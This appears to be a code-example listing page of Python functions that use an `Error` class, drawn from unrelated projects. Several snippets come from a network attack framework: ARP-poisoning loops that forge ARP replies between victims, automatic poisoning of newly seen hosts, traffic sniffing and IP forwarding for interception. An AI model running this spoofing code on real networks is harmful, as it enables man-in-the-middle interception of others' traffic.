Exemplo n.º 1
0
    def initialize(self):
        """ Initialize sniffer """
        self.get_ip()
        while True:
            try:
                tmp = raw_input(
                    '[!] Enter filter or [enter] for all traffic: ')
                if len(tmp) > 2:
                    if not test_filter(tmp):
                        Error("Invalid filter given")
                        continue
                    self.sniff_filter = tmp
                tmp = raw_input(
                    '[!] Sniff traffic from %s.  Is this correct? ' %
                    self.source)
                if 'n' in tmp.lower():
                    break

                if self.sniff_filter is None:
                    self.sniff_filter = "src {0} or dst {0}".format(
                        self.source)
                else:
                    self.sniff_filter = "src {0} or dst {0} and {1}".format(
                        self.source, self.sniff_filter)
                self.run()
                break
            except KeyboardInterrupt:
                return
            except Exception, j:
                traceback.print_exc(file=sys.stdout)
                Error('Error with sniffer: %s' % j)
                return
Exemplo n.º 2
0
def verify_file():
    filename = request.args.get('filename')
    checksum = request.args.get('checksum')
    filename = secure_filename(filename)
    basename = os.path.splitext(filename)[0]
    stagingdir = os.path.join(cfg.STAGING_FOLDER, basename)
    stagingpath = os.path.join(stagingdir, filename)

    if not os.path.exists(stagingpath):
        log.error('File %s does not exist', stagingpath)
        raise Error(message=('File %s does not exist' % stagingpath),
                    status_code=404)

    calculated_checksum = util.md5(stagingpath)

    valid = calculated_checksum == checksum
    if valid:
        log.info('File %s successfully verified', filename)
        return util.ret_ok()
    else:
        log.error('File %s: hash mismatch. Given: %s, calculated: %s',
                  filename, checksum, calculated_checksum)
        raise Error(message=('File hash mismatch. Given: %s, calculated: %s' %
                             (checksum, calculated_checksum)),
                    status_code=400)
Exemplo n.º 3
0
 def get_phrases(self):
     '''
     Returns:
         [[Phrase]]
     '''
     Error.p("Option:get_phrases must be implemented by a subclass.")
     sys.exit(1)
Exemplo n.º 4
0
    def generateBaseDRQ(self, domain):
        """Generator for Basic DNS Range Queries (randomly generated query sets)

        Queries are unique inside their respective sets, but may appear more than once across different
        query blocks.

        @param domain: Domain for which a DNS Range Query should be generated
        @return: List of Sets, in order, each set representing a query block
        """
        if not DB.isValidTarget(domain):
            Error.printErrorAndExit(domain + " is not a valid target")
        patlen = DB.getPatternLengthForHost(domain)
        block = [set()]
        pattern = DB.getPatternForHost(domain) # Get the actual pattern of the target
        randoms = DB.getRandomHosts((Config.RQSIZE-1)*len(pattern)) # Get random hosts (dummies)
        pattern.remove(domain)
        block[0].add(domain)
        i = 1
        for subquery in pattern: # Create the blocks that will hold dummies and actual queries
            block.append(set())
            block[i].add(subquery) # Add the actual query to its respective block
            i += 1
        for query, index in zip(randoms, cycle(range(patlen))): 
            # distribute the randomly chosen dummy queries as evenly as possible across the blocks
            block[index].add(query)
        return block
Exemplo n.º 5
0
def extract_forwarded_email(message):
    try:
        forwarded = [p for p in message.get_payload() if p.get_content_type() == "message/rfc822"]
    except Exception as _:
        raise Error("forwarded attachment expected but missing")
    if not forwarded:
        raise Error("forwarded attachment expected but missing")
    if len(forwarded) > 1:
        # NOTE: all emails should be placed with the 'Forward as
        # Attachment' option in outlook. so there should only be a single
        # attachment containing the forwarded email
        raise Error("expected 1 forwarded attachment. got", len(forwarded))
    return forwarded[0].get_payload()[0]
Exemplo n.º 6
0
	def initialize_post_spoof(self):
		""" Separated from mainline initialization so we can run this post-var 
			configuration.  If you're calling this, BE SURE to set up the required
			variables first!
		"""
		try:
			# get mac addresses for both victims
			self.to_mac = getmacbyip(self.to_ip)
			self.from_mac = getmacbyip(self.from_ip)
			# send ARP replies to victim
			debug('Beginning ARP spoof to victim...')
			victim_thread = Thread(target=self.respoofer, args=(self.from_ip, self.to_ip))
			victim_thread.start()
			# send ARP replies to spoofed address
			target_thread = Thread(target=self.respoofer, args=(self.to_ip, self.from_ip))
			target_thread.start()
			self.spoofing = True
		except KeyboardInterrupt:
			Msg('Closing ARP poison down...')
			self.spoofing = False
			return None
		except TypeError, t:
			Error('Type error: %s'%t)
			self.spoofing = False
			return None
Exemplo n.º 7
0
    def scan_block(self):
        """ ARPing the local network
		"""
        conf.verb = 0
        print '[!] Beginning host scan with netmask %s...' % (self.net_mask)
        try:
            start = datetime.now()
            (ans, unans) = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /
                               ARP(pdst=self.net_mask),
                               timeout=1,
                               inter=0.1,
                               multi=True)
            elapsed = (datetime.now() - start).seconds
            print '[!] Scan of %s completed in %s seconds with %d hosts responding.' % (
                self.net_mask, elapsed, len(ans))
            for s, r in ans:
                ip = r[ARP].getfieldval('psrc')
                mac = r[ARP].getfieldval('hwsrc')
                if self.fingerprint:
                    host = ''
                    try:
                        if hasattr(socket, 'setdefaulttimeout'):
                            socket.setdefaulttimeout(3)
                        host = socket.gethostbyaddr(ip)[0]
                    except:
                        host = ''
                    print "\t%s : %s (%s)" % (mac, ip, host)
                else:
                    print '\t%s : %s' % (mac, ip)
                self.available_hosts[mac] = ip
        except Exception, j:
            print '[dbg] error: ', j
            Error('Error with net mask.  Cannot scan given block.')
            return
Exemplo n.º 8
0
def receive_file(request, filename, output=None):
    content_length = request.environ.get('CONTENT_LENGTH', 0)
    #TODO DEBUG STARTS HERE
    if 'Content-Range' in request.headers:
        # extract starting byte from Content-Range header string
        range_str = request.headers['Content-Range']
        start_bytes = int(range_str.split(' ')[1].split('-')[0])
        log.exception('Receiving %s: PARTIAL FILE RECEIVED: %s', filename,
                      range_str)
    if not content_length:
        content_length = 0
    else:
        content_length = int(content_length)
    content_read = 0
    chunk_size = 4096 * 4
    stream = request.environ['wsgi.input']
    while True:
        if (content_read % (chunk_size * 1000) == 0):
            log.info("Receiving %s: Uploaded count: %d, \t Percent: %.2f",
                     filename, content_read,
                     100 * float(content_read) / content_length)
        try:
            chunk = stream.read(chunk_size)
        except Exception as e:
            log.exception(
                'Receiving %s: Exception: %s while reading input. Aborting...',
                filename, str(e))
            raise Error(message='Unexpected error while receiving',
                        status_code=500)
        if len(chunk) == 0:
            break
        content_read += len(chunk)
        if output is not None:
            output.write(chunk)

    log.info("Receiving %s: Uploaded count: %d, \t Percent: %.2f", filename,
             content_read, 100 * float(content_read) / content_length)
    if output is None:
        log.info('Discarding received file ' + filename)

    if content_read != content_length:
        log.error(
            'Receiving %s: Expected length %d, received length %d. Aborting...',
            filename, content_length, content_read)
        raise Error(message='Unexpected error while receiving',
                    status_code=400)
Exemplo n.º 9
0
    def get_attached_view(self, view_type_str):
        """Helper function that retreives an already attached view

        Throws an error if the view is not attached.
        """
        view = self.all_views.get(view_type_str)
        if not view:
            raise Error('Not an attached view!')
        return view
Exemplo n.º 10
0
def get_session_input():
    """ Helper for obtaining module and session numbers
    """
    try:
        tmp = raw_input('[module] [number]> ')
        (module, number) = tmp.split(' ')
        if not module is None and not number is None:
            return (int(module), int(number))
    except Exception:
        Error('Must specify [module] followed by [number]\n')
        return (None, None)
Exemplo n.º 11
0
 def main(self, args=[]):
     if args == []:
         self.run_default_query()
     else:
         arg = args[0]
         if arg == 'interactive':
             self.default_interactive_loop()
         elif arg == 'interactive-simple':
             self.simple_interactive_loop()
         elif arg == 'sentences':
             self.print_sentences()
         elif arg == 'ros':
             self.startup_ros(spin=True)
         elif arg == 'describe':
             self.startup_ros(spin=False)
             self.set_and_describe()
         elif arg == 'ground':
             self.default_grounding_loop()
         else:
             Error.p("Unknown option: " + arg)
Exemplo n.º 12
0
 def initialize(self):
     """ Initialize sniffer 
     """
     if test_filter(self.config['filter'].value):
         self.sniff_filter = self.config['filter'].value.format(
             self.config['target'].value)
         self.run()
     else:
         Error("Error with provided filter.")
         return False
     return True
Exemplo n.º 13
0
 def respoofer(self, target, victim):
     """ Respoof the target every two seconds.
     """
     try:
         pkt = Ether(dst=target[1], src=self.local[1])
         pkt /= ARP(op="who-has", psrc=victim[0], pdst=target[0])
         while self.running:
             sendp(pkt, iface_hint=target[0])
             time.sleep(self.config['respoof'].value)
     except Exception, j:
         Error('Spoofer error: %s' % j)
         return None
Exemplo n.º 14
0
	def respoofer(self, target, victim):
		""" Respoof the target every three seconds.
		"""
		try:
			target_mac = getmacbyip(target)
			pkt = Ether(dst=target_mac,src=self.local_mac)/ARP(op="who-has",psrc=victim, pdst=target)
			while self.spoofing:
				sendp(pkt, iface_hint=target)
				time.sleep(3)
		except Exception, j:
			Error('Spoofer error: %s'%j)
			return None
Exemplo n.º 15
0
def larva_factory(larva_name, location, velocity):
    """Very simple form of factory function   
    Used to decouple other modules from specific view implementations.
    """
    larva = None
    if larva_name == OriginalLarva.__name__:
        larva = OriginalLarva(location, velocity)
    elif larva_name == NewLarva.__name__:
        larva = NewLarva(location, velocity)
    else:
        raise Error('Bad larva name!')
    return larva
Exemplo n.º 16
0
    def attach_view(self, args):
        """Attach a specified view to the Model

        Example:
            'av ArenaView'
        """
        view_type = args.popleft()
        if self.all_views.get(view_type):
            raise Error('View already attached!')
        view = view_factory(view_type)
        m.get_instance().attach(view)
        self.all_views[view_type] = view
Exemplo n.º 17
0
def upload_file():
    try:
        filename = request.headers.get('FILE_NAME')
        if 'process' in request.args:
            auto_process_scan = request.args.get('process').lower() in [
                'true', '1'
            ]
        else:
            auto_process_scan = cfg.AUTOPROCESS
        log.info('Receiving %s, autoprocess=%s', filename, auto_process_scan)

        if allowed_file(filename):
            filename = secure_filename(filename)
            # determine final staging path for file and check if the file already exists
            basename = os.path.splitext(filename)[0]
            stagingdir = os.path.join(cfg.STAGING_FOLDER, basename)
            stagingpath = os.path.join(stagingdir, filename)
            if os.path.exists(stagingpath):
                log.info('File already exists on server: %s', stagingpath)
                receive_file(request, filename)
                return util.ret_ok('File already exists on server')
            # temp location to receive stream
            tmppath = os.path.join(cfg.TEMP_FOLDER, filename)
            with open(tmppath, 'wb') as f:
                receive_file(request, filename, f)

            # move to staging area dir and return
            util.ensure_dir_exists(stagingdir)
            shutil.move(tmppath, stagingpath
                        )  # TODO: check if move succeeded and log error if not
            log.info('Staged ' + filename + ' to ' + stagingdir)
            # If uploading is complete try to trigger processing
            if scan_done_uploading(stagingdir):
                log.info('Scan done uploading to ' + stagingdir)
                if auto_process_scan:
                    #NOTE: Comment out lines below to disable automated scan processing trigger
                    indexThread = threading.Thread(target=preprocess,
                                                   args=(basename, log))
                    indexThread.start()
                    processThread = threading.Thread(target=trigger_processing,
                                                     args=(basename, log))
                    processThread.start()
            return util.ret_ok()
        else:
            log.error('File type not allowed: ' + filename)
            log.error(request)
            raise Error(message=('File type not allowed: ' + filename),
                        status_code=415)
    except Exception as e:
        log.error(traceback.format_exc())
        #raise Error(message=('Unknown exception encountered %s' % str(e)), status_code=500)
        raise e
Exemplo n.º 18
0
def dump_module_sessions(module):
    """Dump running sessions for a module.
       @param module is the module to dump.
    """
    global HOUSE
    if not module in HOUSE.keys():
        Error('Module \'%s\' not found.' % module)
        return
    else:
        mod = HOUSE[module]

    print '[!] %s' % module
    for (cnt, obj) in enumerate(mod.keys()):
        print '\t[%d] %s' % (cnt, obj)
Exemplo n.º 19
0
def get_session_input():
    """ Helper for obtaining module and session numbers
    """
    try:
        display = color.B_GREEN + '[' + color.B_YELLOW + 'session' + color.B_GREEN + \
                  '] [' + color.B_YELLOW + 'number' + color.B_GREEN + ']' + \
                  color.B_WHITE + ' > '
        tmp = raw_input(display)
        (module, number) = tmp.split(' ')
        if not module is None and not number is None:
            return (int(module), int(number))
    except Exception:
        Error('Must specify [module] followed by [number]\n')
        return (None, None)
Exemplo n.º 20
0
def extract_disney(eml, dest_dir):
    link = next((l[1] for l in eml.links if l[0] == "Click Here to Download Your File"), None)
    if not link:
        raise Error("disney email: could not find download link")
    page = requests.get(link).content
    parser = LinkParser()
    parser.feed(page)
    link = next((l[1] for l in parser.links if l[0] == "download"), None)
    if not link:
        raise Error("disney email: could not find download link on webpage")
    parser = DisneyParser()
    parser.feed(page)
    if not parser.filename:
        raise Error("disney email: could not find filename")
    link = "https://www.relayit.net/" + link
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"}
    response = requests.get(link, headers=headers, stream=True)
    dest_file = os.path.join(dest_dir, parser.filename)
    with open(parser.filename, "wb") as f:
        for chunk in response.iter_content(chunk_size=4096):
            if chunk:
                f.write(chunk)
    return dest_file
Exemplo n.º 21
0
 def get_ip(self):
     """Fetch the target IP address"""
     while True:
         try:
             tmp = raw_input('[!] Enter target address: ')
             if len(tmp.split('.')) is 4:
                 self.target = tmp
                 break
             else:
                 Error("Please enter a valid IP address")
         except KeyboardInterrupt:
             self.target = None
             return
         except:
             pass
Exemplo n.º 22
0
    def handle_ip_packet(self, pkt):
        try:
            if IP in pkt and Ether in pkt:
                ip = pkt[IP].src
                mac = pkt[Ether].src
                if ip not in self.targets and mac != "ff:ff:ff:ff:ff:ff" and ip != self.local[0] \
                        and ip != self.victim[0] and ip != "0.0.0.0":
                    raw_ip = struct.unpack("!L", socket.inet_aton(ip))[0]
                    if (self.sample_int
                            & self.raw_netmask) == (raw_ip & self.raw_netmask):
                        self.targets[ip] = mac
                        target = (ip, mac)
                        Msg("Poisoning {0} <---> {1}".format(
                            self.victim[0], target[0]))
                        victim_thread = Thread(target=self.respoofer,
                                               args=(target, self.victim))
                        victim_thread.daemon = True
                        victim_thread.start()
                        # send ARP replies to spoofed address
                        target_thread = Thread(target=self.respoofer,
                                               args=(self.victim, target))
                        target_thread.daemon = True
                        target_thread.start()
            if ARP in pkt and Ether in pkt and pkt[ARP].op in (1, 2):
                ip = pkt[ARP].psrc
                mac = pkt[Ether].src
                if ip not in self.targets and mac != "ff:ff:ff:ff:ff:ff" and ip != self.local[0] \
                        and ip != self.victim[0] and ip != "0.0.0.0":
                    raw_ip = struct.unpack("!L", socket.inet_aton(ip))[0]
                    if (self.sample_int
                            & self.raw_netmask) == (raw_ip & self.raw_netmask):
                        self.targets[ip] = mac
                        target = (ip, mac)
                        Msg("Poisoning {0} <---> {1}".format(
                            self.victim[0], target[0]))
                        victim_thread = Thread(target=self.respoofer,
                                               args=(target, self.victim))
                        victim_thread.daemon = True
                        victim_thread.start()
                        # send ARP replies to spoofed address
                        target_thread = Thread(target=self.respoofer,
                                               args=(self.victim, target))
                        target_thread.daemon = True
                        target_thread.start()

        except Exception, j:
            Error('Error with ARP poisoner: %s' % j)
            self.running = False
Exemplo n.º 23
0
def dump_module_sessions(module):
    """Dump running sessions for a module.
       @param module is the module to dump.
    """
    global HOUSE
    if not module in HOUSE.keys():
        Error('Module \'%s\' not found.' % module)
        return
    else:
        mod = HOUSE[module]

    print color.B_YELLOW + '[' + color.B_RED  + '!' + color.B_YELLOW + '] ' + \
          color.B_WHITE + module
    for (cnt, obj) in enumerate(mod.keys()):
        print color.B_GREEN + '\t[' + color.B_YELLOW + str(cnt) + color.B_GREEN + '] ' + \
              color.B_WHITE + str(obj)
Exemplo n.º 24
0
def toggle_log(module, number, file_loc=None, toggle=False):
	"""Toggle the logger of a module
	   @param module is the module number
	   @param number is the session number
	   @param file_loc is a string containing the file path
	   @param toggle is True to turn on logging or False to turn off
	"""
	(mod, mod_inst) = get_mod_num(module, number)
	if not mod is None and not mod_inst is None and hasattr(HOUSE[mod][mod_inst], 'log'):
		if toggle:
			# enable
			HOUSE[mod][mod_inst].log(True, file_loc)
		else:
			# disable
			HOUSE[mod][mod_inst].log(False)
	else:
		Error('Module does not have a logger or doesn\'t exist.')
Exemplo n.º 25
0
def initialize(module, TYPE):
    """ Initialize a module and load it into the global HOUSE
		variable.  TYPE should be one of the corresponding strings
		from 'zarp'.  MODULE should be an instance of the loaded
		module.
	"""
    global HOUSE
    debug("Received module start for: %s" % (module.__name__))
    if not 'service' in HOUSE:
        # services will always be 0
        HOUSE['service'] = {}

    tmp_mod = module()
    if TYPE is 'POISON':
        if not tmp_mod.which in HOUSE:
            HOUSE[tmp_mod.which] = {}
        to_ip = tmp_mod.initialize()
        if not to_ip is None:
            debug('Storing session for %s' % to_ip)
            HOUSE[tmp_mod.which][to_ip] = tmp_mod
    elif TYPE is 'SNIFFER':
        if not tmp_mod.which in HOUSE:
            HOUSE[tmp_mod.which] = {}
        to_ip = tmp_mod.initialize()
        if not to_ip is None:
            debug('Storing sniffer session for %s' % to_ip)
            HOUSE[tmp_mod.which][to_ip] = tmp_mod
    elif TYPE is 'DOS':
        # if you want the DoS module stored, return a key
        # from your module.
        tmp = tmp_mod.initialize()
        if tmp is not None:
            if not tmp_mod.which in HOUSE:
                HOUSE[tmp_mod.which] = {}
            HOUSE[tmp_mod.which][tmp] = tmp_mod
    elif TYPE is 'SERVICE':
        if tmp_mod.which in HOUSE['service']:
            Error('\'%s\' is already running.' % tmp_mod.which)
        else:
            if tmp_mod.initialize_bg():
                HOUSE['service'][tmp_mod.which] = tmp_mod
    elif TYPE is 'SCANNER':
        tmp_mod.initialize()
    elif TYPE is 'PARAMETER':
        tmp_mod.initialize()
Exemplo n.º 26
0
def view_factory(view_name):
    """Very simple form of factory function   
    Used to decouple other modules from specific view implementations.
    """
    view = None
    if view_name == TableView.__name__:
        view = TableView()
    elif view_name == StatsView.__name__:
        view = StatsView()
    elif view_name == ArenaView.__name__:
        view = ArenaView()
    elif view_name == MoveStatsView.__name__:
        view = MoveStatsView()
    elif view_name == PerceptionView.__name__:
        view = PerceptionView()
    else:
        raise Error('Bad view name!')
    return view
Exemplo n.º 27
0
    def initialize(self):
        """ Initialize sniffer """
        self.get_ip()
        while True:
            try:
                tmp = raw_input(
                    '[!] Sniff traffic from %s.  Is this correct? ' %
                    self.source)
                if 'n' in tmp.lower():
                    break

                self.sniff_filter = "src {0} or dst {0}".format(self.source)
                self.run()
                break
            except KeyboardInterrupt:
                return
            except Exception, j:
                Error('Error with sniffer: %s' % j)
                return
Exemplo n.º 28
0
    def run(self, input_file):
        """Run loop
        """
        input_from_file = deque()
        # Get any input given from file
        if input_file:
            input_from_file = deque(
                [line.rstrip('\n') for line in open(input_file)])

        while True:
            try:
                input_str = ''
                # First read any commands given from a file, then begin to
                # take user input
                if len(input_from_file):
                    input_str = input_from_file.popleft()
                else:
                    input_str = input('Time: {0:.1f}, Enter command: '.format(
                        m.get_instance().time))
                inputs = deque(input_str.split())
                cmd = 'h'
                if len(inputs):
                    cmd = inputs.popleft()
                if cmd == 'q':
                    print('Quiting')
                    return
                if cmd == 'h':
                    print(commands_help_text)
                    continue
                fcn_name = self.command_fcns.get(cmd)
                if not fcn_name:
                    raise Error('Invalid input!')
                    continue
                fcn = getattr(self, fcn_name)
                fcn(inputs)
            except Error as err:
                print(err)
            except:
                print('Unexpected error!')
                raise
Exemplo n.º 29
0
    def initialize_post_spoof(self):
        """ Separated from mainline initialization so we can run this post-var
            configuration.  If you're calling this, BE SURE to set up the required
            variables first!
        """
        try:
            if self.config['from_ip'].value is None or "/" in self.config[
                    'from_ip'].value:
                sniff_thread = Thread(target=self.sniffer_thread)
                sniff_thread.daemon = True
                sniff_thread.start()

            # send ARP replies to victim
            debug('Beginning ARP spoof to victim...')
            self.running = True
            for key in self.targets.keys():
                target = (key, self.targets[key])
                Msg("Poisoning {0} <---> {1}".format(self.victim[0],
                                                     target[0]))
                victim_thread = Thread(target=self.respoofer,
                                       args=(target, self.victim))
                victim_thread.daemon = True
                victim_thread.start()
                # send ARP replies to spoofed address
                target_thread = Thread(target=self.respoofer,
                                       args=(self.victim, target))
                target_thread.daemon = True
                target_thread.start()
        except KeyboardInterrupt:
            Msg('Closing ARP poison down...')
            self.running = False
            return None
        except TypeError, t:
            Error('Type error: %s' % t)
            self.running = False
            return None
Exemplo n.º 30
0
    def generateBaseDRQ(self, domain):
        """Generator for Pattern-Based DNS Range Queries (trying to fill the query blocks with patterns)

        Queries are unique inside their respective sets, but may appear more than once across different
        query blocks.

        @param domain: Domain for which a DNS Range Query should be generated
        @return: List of Sets, in order, each set representing a query block
        """
        if not DB.isValidTarget(domain):
            Error.printErrorAndExit(domain + " is not a valid target")
        pattern_length = len(DB.PATTERNS[domain])
        block = [set()]
        num_of_available_patterns = DB.getNumberOfHostsWithPatternLength(pattern_length) - 1
        if num_of_available_patterns >= Config.RQSIZE:
            hosts = set([domain])
            hosts.update(set(DB.getRandomHostsByPatternLengthB(pattern_length, Config.RQSIZE-1, hosts)))
            pattern_copy = {}
            for host in hosts:
                pattern_copy[host] = DB.getPatternForHost(host)
                pattern_copy[host].remove(host) 
                block[0].add(host)
            for i in range(1, pattern_length, 1):
                block.append(set())
                for host in pattern_copy:
                    block[i].add(pattern_copy[host].pop())
        else: 
            num_of_needed_patterns = Config.RQSIZE - (num_of_available_patterns+1)
            padding = []
            for i in range(num_of_needed_patterns):
                # Find patterns whose lengths sum to pattern_length (if any exist that have not been chosen yet)
                pad1_len = pad2_len = -1
                for pad1_len, pad2_len in zip(range(1, pattern_length/2+1, 1), range(pattern_length-1, pattern_length/2-1, -1)):
                    # This is a construct that generates numbers that sum to pattern_length. It is used instead of truly random
                    # numbers because it will not get stuck when no more patterns are available.
                    if ((DB.getNumberOfHostsWithPatternLengthB(pad1_len, block[0]) > 0) and \
                        (DB.getNumberOfHostsWithPatternLength(pad2_len) > 0)):
                        break
                    elif pad1_len == pattern_length/2: # No patterns of the correct length have been found, abort
                        pad1_len = -1
                if (pad1_len == -1): # Break out of loop as no further patterns can be found.
                    break
                # The following few lines get the dummy patterns from the database and saves them to the list of dummy-patterns
                pad1_host = DB.getRandomHostsByPatternLengthB(pad1_len, 1, block[0])[0]
                pad1_pattern = DB.getPatternForHost(pad1_host)
                pad1_pattern.remove(pad1_host)
                block[0].add(pad1_host)
                padding.append([pad1_host])
                for host in pad1_pattern:
                    padding[i].append(host)
                pad2_host = DB.getRandomHostsByPatternLength(pad2_len, 1)[0]
                pad2_pattern = DB.getPatternForHost(pad2_host)
                pad2_pattern.remove(pad2_host)
                padding[i].append(pad2_host)
                for host in pad2_pattern:
                    padding[i].append(host)
            # We now have as many dummy patterns as we will get. Start distributing them.
            pattern_copy = {}
            block[0].add(domain)
            pattern_copy[domain] = DB.getPatternForHost(domain)
            pattern_copy[domain].remove(domain)
            for element in DB.getRandomHostsByPatternLengthB(pattern_length, num_of_available_patterns, block[0]):
                # Get all patterns with the correct length and add them to the range query
                pattern_copy[element] = DB.getPatternForHost(element)
                pattern_copy[element].remove(element)
                block[0].add(element)
            for i in range(1, pattern_length, 1):
                # Distribute the remaining patterns (those whose lengths sum to the correct length)
                block.append(set())
                for host in pattern_copy:
                    block[i].add(pattern_copy[host].pop())
                for pattern in padding:
                    block[i].add(pattern[i])
        return block
Exemplo n.º 31
0
                victim_thread.start()
                # send ARP replies to spoofed address
                target_thread = Thread(target=self.respoofer,
                                       args=(self.victim, target))
                target_thread.daemon = True
                target_thread.start()
        except KeyboardInterrupt:
            Msg('Closing ARP poison down...')
            self.running = False
            return None
        except TypeError, t:
            Error('Type error: %s' % t)
            self.running = False
            return None
        except Exception, j:
            Error('Error with ARP poisoner: %s' % j)
            self.running = False
            return None
        return self.victim[0]

    def respoofer(self, target, victim):
        """ Respoof the target every two seconds.
        """
        try:
            pkt = Ether(dst=target[1], src=self.local[1])
            pkt /= ARP(op="who-has", psrc=victim[0], pdst=target[0])
            while self.running:
                sendp(pkt, iface_hint=target[0])
                time.sleep(self.config['respoof'].value)
        except Exception, j:
            Error('Spoofer error: %s' % j)
Exemplo n.º 32
0
                    break
                elif choice == -1:
                    pass
                elif choice > len(loader.services):
                    continue
                else:
                    stream.initialize(loader.services[choice - 1], 'SERVICE')
        elif choice == 7:
            session_manager.menu()
        elif choice == -1:
            pass


# Application entry; dependency checks, etc.
if __name__ == "__main__":
    # perm check
    if int(os.getuid()) > 0:
        Error('Please run as root.')
        sys.exit(1)
    # check for forwarding
    if not getoutput('cat /proc/sys/net/ipv4/ip_forward') == '1':
        Msg('IPv4 forwarding disabled.  Enabling..')
        tmp = getoutput(
            'sudo sh -c \'echo "1" > /proc/sys/net/ipv4/ip_forward\'')
        if len(tmp) > 0:
            Error('Error enabling IPv4 forwarding.')
            sys.exit(1)
    # load local scapy lib
    sys.path[:0] = [str(os.getcwd()) + '/scapy']
    main()
Exemplo n.º 33
0
                except Exception, e:
                    Error('%s' % e)
                    continue
            elif "r" in choice.lower() or "run" in choice.lower():
                # verify all required options are set
                for opt in options.keys():
                    if options[opt].required and options[opt].value is None:
                        Error('Option \'%s\' is required.' % opt)
                        raise FailedCheck
                return True
        except KeyboardInterrupt:
            return False
        except FailedCheck:
            continue
        except Exception, e:
            Error('%s' % e)


def dump_sessions():
    """Format and print the currently running modules.
    """
    global HOUSE

    print color.B_GREEN + '\n\t[' + color.B_YELLOW + 'Running sessions' + \
          color.B_GREEN + ']' + color.END
    if 'service' in HOUSE:
        # services first
        tmp = HOUSE['service']
        if len(tmp) > 0:
            print color.B_GREEN + '\t[' + color.B_YELLOW + '0' + color.B_GREEN + \
                    '] ' + color.B_WHITE + 'Services' + color.END
Exemplo n.º 34
0
def handle_opts(module):
    """ The user has selected a module, so we should parse out all the
        options for this particular module, set the config, and when
        requested, run it.  This is kinda messy, but works for now.
    """
    # fetch generic module options and module-specific options
    options = module.config

    # dump module settings
    Setting = ['', 'Option', 'Value', 'Type', 'Required']
    table = display_options(options, Setting)
    while True:
        # fetch command/option
        try:
            choice = raw_input('%s > ' %
                               (color.B_WHITE + module.which + color.END))

            # first check global commands
            tmp = check_opts(choice)
            if tmp == -1:
                continue

            # check module commands
            if choice is "0":
                return False
            elif choice == "info":
                if module.info is None:
                    Msg("Module has no information available")
                    continue

                print '%s%s%s' % (color.GREEN, '-' * len(
                    module.info.split('\n')[1].strip()), color.END),
                print dedent(module.info.rstrip())
                print '%s%s%s' % (color.GREEN, '-' * len(
                    module.info.split('\n')[1].strip()), color.END)
            elif choice == "ops":
                display_options(options, Setting)
                continue
            elif len(choice.split(' ')) > 1:
                choice = choice.split(' ')
                try:
                    if int(choice[0]) > len(table):
                        continue
                    elif int(choice[0]) is 0:
                        return False

                    key = options.keys()[int(choice[0]) - 1]

                    if choice[1] == 'o' and module.config[key].opts is not None:
                        Msg("Options: %s" % module.config[key].opts)
                        continue
                    elif choice[1] == 'o' and module.config[key].type == 'list':
                        Msg('%s' % module.config[key].value)
                        continue

                    # generate a temporary zoption
                    tmp = copy(module.config[key])
                    tmp.value = ' '.join(choice[1::])

                    # we've got a valid number, validate the type and set it
                    if not tmp.validate():
                        Error(
                            'Wrong type assigned.  Expected value of type "%s"'
                            % options[key].type)
                    else:
                        module.config[key] = tmp

                except Exception, e:
                    Error('%s' % e)
                    continue
            elif "r" in choice.lower() or "run" in choice.lower():
                # verify all required options are set
                for opt in options.keys():
                    if options[opt].required and options[opt].value is None:
                        Error('Option \'%s\' is required.' % opt)
                        raise FailedCheck
                return True